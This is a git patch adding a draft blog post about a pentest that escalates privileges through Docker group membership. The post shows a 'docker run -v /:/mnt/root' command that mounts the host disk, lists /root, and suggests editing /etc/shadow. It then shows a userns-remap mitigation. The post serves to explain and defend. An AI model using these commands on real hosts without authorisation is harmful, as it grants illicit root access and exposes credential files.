From 9b793223a0c16741e20885ae916b8a7ef389002f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alo=C3=AFs=20Micard?= Date: Tue, 25 Aug 2020 11:22:38 +0200 Subject: [PATCH] Add new blog post --- content/posts/docker-privilege-escalation.md | 157 +++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 content/posts/docker-privilege-escalation.md diff --git a/content/posts/docker-privilege-escalation.md b/content/posts/docker-privilege-escalation.md new file mode 100644 index 0000000..1c7f57c --- /dev/null +++ b/content/posts/docker-privilege-escalation.md @@ -0,0 +1,157 @@ ++++ +title = "Privilege escalation using Docker" +date = "2020-08-25" +author = "Aloïs Micard" +authorTwitter = "" #do not include @ +cover = "" +tags = ["Docker", "Security"] +keywords = ["", ""] +description = "" +showFullContent = false +draft = true ++++ + +I have done a little pentest audit on a friend VPS last week, he was providing Docker runtime +to some people, with SSH access, and wanted to know if his setup was secure. + +By default, docker only allow to run command as root user, in most case this is not desired since giving +root access equals giving full power over the host. A simple workaround is to add the user to the 'docker' +group so that the user will be able to dial with the docker socket. And that's what my friend has done. But this setup +is **not secure at ALL** by default. + +Let's see how to use the docker group to gain full root access on the host. + +This method is really similar to the [lxc group privilege escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation), +and that's how I've found this one. + +# Privilege escalation + +The only thing I had on the VPS was an un-privileged user, like the +others users. + +```sh +creekorful@docker01:~$ id +uid=1001(creekorful) gid=1001(creekorful) groups=1001(creekorful),998(docker) +``` + +Here we can see that we are in the docker group, so we can use the docker daemon. + +To gain root access one the host, one can create a docker container and mount the host disk +inside it. + +This can be done with the following command: + +```sh +creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh +# +``` + +Here we are asking docker to create a container using the *debian:stable-slim image*, and run the */bin/sh* command inside it. + +```sh +# id +uid=0(root) gid=0(root) groups=0(root) +``` + +We are now root inside the container. Since Docker has SUID bit set, we were able to mount the whole host disk +inside the /mnt/root partition (*-v /:/mnt/root*). + +Let's try to display */root* folder: + +```sh +# ls -altr /mnt/root/root +total 56 +-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc +-rw-r--r-- 1 root root 148 Aug 17 2015 .profile +drwx------ 2 root root 4096 Mar 27 07:52 .ssh +drwx------ 2 root root 4096 Mar 27 22:43 .docker +drwxr-xr-x 3 root root 4096 Mar 27 23:07 .local +drwx------ 3 root root 4096 Jun 8 09:40 .config +-rw------- 1 root root 14924 Jul 7 07:33 .viminfo +drwx------ 6 root root 4096 Jul 7 07:33 . +-rw-r--r-- 1 root root 5253 Jul 10 10:29 .bash_history +drwxr-xr-x 18 root root 4096 Aug 23 20:14 .. +``` + +It works! One can now change the root password in */etc/shadow* for example +and gain full root access on the host. + +# How to mitigate the exploit? + +Fortunately solutions exist to prevent this exploit. I will cover the most straightforward one. + +Each unix process have a /proc/self/{u,g}id_map files. These files are used to give an ID mapping, +and are inherited. + +```sh +creekorful@docker01:~$ cat /proc/self/{u,g}id_map + 0 0 4294967295 + 0 0 4294967295 +``` + +This file tells us: uid 0 for current process is mapped to parent uid 0, and it's the same up to uid 4294967295. + +What we will do mitigate the exploit is to map container uid 0 to something non-root (!= 0), fortunately this can +be done easily by using /etc/sub{g,u}id files. + +```sh +creekorful@docker01:~$ cat /etc/sub{g,u}id +debian:100000:65536 +creekorful:165536:65536 +debian:100000:65536 +creekorful:165536:65536 +``` + +These files are used to determinate the allowed range of sub {user,group} ID allowed to use by the user. +The format is: *::* + +So what we will do is add an *dockremap* (special docker user) entry to these files, and limit the sub{g,u}id of this user. + +I have asked my friend to perform the following: + +Add the dockremap entry to the /etc/subuid file: + +``` +root@docker01:~# echo 'dockremap:100:65536' >> /etc/subuid +``` + +By doing this we are saying: root inside the container (0) will be mapped to uid (100) in parent process (on the host). + +Now we must ask docker to create the container using the *dockremap* user. +This can be done by modifying /etc/docker/daemon.json + +```json +{ + "userns-remap": "default" +} +``` + +(Default means use dockremap user). + +And finally, just restart the docker daemon to apply the changes. + +# Let's try again + +```sh +creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh +# id +uid=0(root) gid=0(root) groups=0(root) +``` + +As we can see we are still root inside the container. But what's for the outside? + +```sh +# cat /proc/self/uid_map + 0 100 65536 +``` + +as you can see the lower uid is now 100 instead of 0. We are no more root. + +Let's try to check the content of /etc/shadow: + +```sh +# cat /mnt/root/etc/shadow +cat: can't open '/mnt/root/etc/shadow': Permission denied +``` + +the exploit is now mitigated.